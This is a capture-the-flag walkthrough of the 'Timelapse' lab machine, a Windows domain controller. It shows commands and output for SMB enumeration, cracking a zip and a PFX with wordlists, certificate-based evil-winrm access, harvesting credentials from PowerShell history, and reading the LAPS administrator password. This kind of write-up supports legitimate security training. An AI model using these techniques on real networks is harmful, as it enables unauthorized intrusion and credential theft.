Timelapse ๐น
Enumeration
$ nmap -sC -sV -Pn -T4 --min-rate 5000 -p- 10.10.11.152
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-26 10:48 CET
Nmap scan report for 10.10.11.152
Host is up (0.040s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-26 17:48:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2024-11-26T17:50:19+00:00; +7h59m58s from scanner time.
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-11-26T17:49:40
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h59m57s, deviation: 0s, median: 7h59m57s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.68 seconds
Enumerating shares with empty session we find a file in Shares/Dev
$ smbclient -U "" -L //10.10.11.152/ -N
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.152 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
โโโ(kaliใฟkali)-[~/timelapse]
โโ$ smbclient -U "" -L //10.10.11.152/
Password for [WORKGROUP\]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.152 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
โโโ(kaliใฟkali)-[~/timelapse]
โโ$ smbclient -U "" //10.10.11.152/Shares
Password for [WORKGROUP\]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Oct 25 17:39:15 2021
.. D 0 Mon Oct 25 17:39:15 2021
Dev D 0 Mon Oct 25 21:40:06 2021
HelpDesk D 0 Mon Oct 25 17:48:42 2021
6367231 blocks of size 4096. 2473840 blocks available
smb: \> cd Dev
smb: \Dev\> ls
. D 0 Mon Oct 25 21:40:06 2021
.. D 0 Mon Oct 25 21:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 17:46:42 2021
6367231 blocks of size 4096. 2473840 blocks available
Initial Access
The file has a password so we use fcrackzip
$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
PASSWORD FOUND!!!!: pw == supremelegacy
We have a password, and inside, a .pfx cert but has a password too. Wd can use https://github.com/crackpkcs12/crackpkcs12 (p12tool doesn't work)
$ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ../timelapse/legacyy_dev_auth.pfx
Dictionary attack - Starting 2 threads
*********************************************************
Dictionary attack - Thread 1 - Password found: thuglegacy
*********************************************************
Now we can extract the private and public keys knowing this is a winrm cert
$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out public.crt
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out private.key -nodes
And try evil-winrm with it
$ evil-winrm -i 10.10.11.152 -c public.crt -k private.key -S
Evil-WinRM shell v3.7
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
================= ============================================
timelapse\legacyy S-1-5-21-671920749-559770252-3318990721-1603
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
TIMELAPSE\Development Group S-1-5-21-671920749-559770252-3318990721-3101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Privilege Escalation
We find credentials in a powershell log file
*Evil-WinRM* PS C:\Users\legacyy\Documents> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
So we have svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
==================== ============================================
timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
TIMELAPSE\LAPS_Readers Group S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
We are in LAPS_Readers group so we can try to read passwords, trying with crackmapexec --laps doesn't work so i'll try https://www.thehacker.recipes/ad/movement/dacl/readlapspassword
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-mcs-admpwd : m{292kr#Es(3K8R7u86t(l$J
ms-mcs-admpwdexpirationtime : 133775487108929601
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
And we have m{292kr#Es(3K8R7u86t(l$J lets try evil-winrm again.
$ evil-winrm -i 10.10.11.152 -u Administrator -p 'm{292kr#Es(3K8R7u86t(l$J' -S
Evil-WinRM shell v3.7
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users> type C:\Users\TRX\Desktop\root.txt
9d79b183ad51bba6ee55bc4dc8cde987
*Evil-WinRM* PS C:\Users> type C:\Users\legacyy\Desktop\user.txt
88e15f354746b78a87e0a74163c59165
Post Exploitation
Get the flags